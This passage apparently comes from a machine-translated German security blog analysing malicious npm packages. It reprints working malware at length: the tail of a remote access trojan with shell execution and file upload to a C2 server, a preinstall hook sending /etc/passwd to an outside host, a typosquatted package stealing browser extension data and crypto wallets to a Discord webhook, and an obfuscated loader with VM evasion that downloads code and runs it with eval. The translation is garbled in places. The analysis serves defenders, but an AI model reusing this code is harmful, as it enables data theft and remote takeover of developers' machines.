console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
Wir haben es mit einem RAT (Remote Access Trojan) zu tun. Hier ist ein Überblick über ihn:
Verhalten Überblick
Das Skript baut einen verdeckten Kommunikationskanal mit einer Befehl und Kontrolle (C2) Server mit socket.io-Client
während das Exfiltrieren von Dateien über axios
an einen zweiten HTTP-Endpunkt. Es installiert diese Module dynamisch, wenn sie fehlen, und versteckt sie in einem benutzerdefinierten .node_modules
unter dem Home-Verzeichnis des Benutzers.
C2 Infrastruktur
- Socket-Kommunikation:
http://85.239.62[.]36:3306
- Datei Upload Endpunkt:
http://85.239.62[.]36:27017/u/f
Sobald die Verbindung hergestellt ist, sendet der Client seine eindeutige ID (Hostname + Benutzername), den Betriebssystemtyp und die Prozess-ID an den Server.
Fähigkeiten
Hier ist eine Liste der Fähigkeiten (Befehle), die der RAT unterstützt.
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
Backdoor: Python3127 PATH-Hijack
Eines der subtileren Merkmale dieses RAT ist die Verwendung eines Windows-spezifischen PATH-Hijacks, der darauf abzielt, bösartige Binärdateien unter dem Deckmantel von Python-Tools unbemerkt auszuführen.
Das Skript erstellt den folgenden Pfad und fügt ihn der Datei PATH
Umgebungsvariable vor der Ausführung von Shell-Befehlen:
%LOCALAPPDATA%\Programme\Python\Python3127
Durch Einfügen dieses Verzeichnisses am Anfang von PATH
Jeder Befehl, der auf in der Umgebung aufgelöste ausführbare Dateien angewiesen ist (z. B., python
, pip,
usw.) stillschweigend gekapert werden können. Dies ist besonders effektiv auf Systemen, auf denen Python bereits verfügbar sein sollte.
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
'Programme\\Python\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH
Indikatoren für Kompromisse
Die einzigen Indikatoren, die wir derzeit haben, sind die bösartigen Versionen, die da wären:
- 2.0.84
- 1.0.110
- 2.0.83
| Verwendung | Endpunkt | Protokoll/Methode |
| ------------------ | ------------------------------- | -------------------------- |
| Socket-Verbindung | http://85.239.62[.]36:3306 | socket.io-client |
| Ziel des Dateiuploads | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |
Wenn Sie eines dieser Pakete installiert haben, können Sie überprüfen, ob es mit dem C2 kommuniziert hat
.png)
Der Malware-Leitfaden: Die Arten von Malware auf NPM verstehen
Die Knotenpunkt Ökosystem basiert auf einer Vertrauensbasis - dem Vertrauen, dass die Pakete, die Sie npm-Installation
dass sie das tun, was sie vorgeben zu tun. Aber dieses Vertrauen ist oft unangebracht.
Im vergangenen Jahr haben wir einen beunruhigenden Trend beobachtet: eine steigende Anzahl von bösartigen Paketen, die auf npm veröffentlicht wurden und sich oft im Verborgenen halten. Einige sind grobe Proof-of-Concepts (PoCs) von Forschern, andere sind sorgfältig ausgearbeitete Backdoors. Einige geben vor, legitime Bibliotheken zu sein, andere schleusen Daten direkt vor Ihrer Nase ein, indem sie diese verschleiern oder clevere Formatierungstricks anwenden.
In diesem Bericht werden mehrere von uns analysierte Schadpakete aus der Praxis vorgestellt. Jedes von ihnen repräsentiert einen bestimmten Archetyp von Angriffstechniken, die wir in freier Wildbahn beobachten. Egal, ob Sie Entwickler, Red-Teamer oder Sicherheitsingenieur sind, Sie sollten diese Muster auf Ihrem Radar haben.
Der PoC

Viele der Pakete, die wir sehen, stammen von Sicherheitsforschern, die nicht wirklich versuchen, sich zu tarnen. Sie wollen einfach nur etwas beweisen, oft im Rahmen von Bug Bounty Hunting. Das bedeutet, dass ihre Pakete normalerweise sehr einfach sind und oft keinen Code enthalten. Sie verlassen sich lediglich auf einen "Lebenszyklus-Haken", den Pakete verwenden können, sei es vor der Installation, bei der Installation oder nach der Installation. Diese Hooks sind einfache Befehle, die vom Paketmanager während der Installation ausgeführt werden.
Beispiel: local_editor_top
Im Folgenden finden Sie ein Beispiel für ein Paket local_editor_top
, ein Paket, das wir aufgrund seines Vorinstallations-Hooks entdeckt haben, der die /etc/passwd
Datei an einen Burp Suite Collaborator-Endpunkt mit vorangestelltem Hostnamen.
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
Beispiel: ccf-identity
Einige Forscher gehen noch einen Schritt weiter und rufen eine Datei innerhalb des Pakets ccf-identity
um Daten zu extrahieren. Wir haben zum Beispiel das Paket entdeckt, einen Lifecycle-Hook und eine Javascript-Datei mit vielen Indikatoren für eine Exfiltrationsumgebung beobachtet:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
Wie Sie sehen können, ruft es die Datei index.js
bevor der Installationsprozess für das Paket beginnt. Nachfolgend ist der Inhalt der Datei aufgeführt.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Diese Proof-of-Concepts gehen ziemlich weit und sammeln viele Informationen, oft auch Informationen über Netzwerkadapter!
Der Hochstapler

Wenn Sie genau hingesehen haben, ist Ihnen vielleicht aufgefallen, dass das vorherige Beispiel darauf hindeutet, dass es sich um ein Microsoft-Paket handelt. Haben Sie es bemerkt? Keine Sorge, es ist nicht wirklich ein Paket von Microsoft! Vielmehr ist es auch ein Beispiel für unseren zweiten Archetyp: Der Hochstapler.
Ein gutes Beispiel dafür ist das Paket Anträge - Versprechen
. Schauen wir uns das an paket.json
Datei:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
Sie werden etwas Interessantes bemerken. Auf den ersten Blick sieht es wie ein echtes Paket aus, aber es gibt zwei große Hinweise, dass etwas nicht stimmt:
- Die Github-Referenzen erwähnen
Anfrage-Versprechen
d.h. in der Einzahl. Der Paketname steht im Plural. - Es gibt einen Postinstall-Hook für eine Datei namens
lib/rq.js
.
Das Paket sieht ansonsten legal aus. Es hat den Code, der von dem Paket in lib/rp.js
(Beachten Sie den Unterschied zwischen rp.js
und rq.js
). Sehen wir uns also diese zusätzliche Datei an, lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
Lassen Sie sich nicht von der Tatsache täuschen, dass der Code eine Funktion namens makelove
. Es ist sofort klar, dass dieser Code nach Browser-Caches und Krypto-Wallets sucht, die er an den Endpunkt sendet, der base64-kodiert ist. Bei der Dekodierung wird ein Discord-Webhook angezeigt.
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
Also doch nicht so liebevoll.
Der Obfuskator

Ein klassischer Trick, um nicht entdeckt zu werden, ist die Verschleierung. Die gute Nachricht für den Verteidiger ist, dass die Obfuskation wirklich sticht wie ein böser Daumen hervor und ist in den meisten Fällen leicht zu überwinden. Ein Beispiel dafür ist das Paket chickenisgood
. Ein Blick in die Datei index.js
sehen wir, dass sie eindeutig verschleiert ist.
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
Wir können bereits sehen, dass sie Dinge erwähnt wie checkVirtualMachine
, checkUptime
, isHostnameValid
und andere Namen, die Verdacht erregen. Aber um vollständig zu bestätigen, was es tut, können wir es durch öffentlich verfügbare Deobfuskatoren/Decoder laufen lassen. Und plötzlich erhalten wir etwas, das ein wenig lesbarer ist.
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
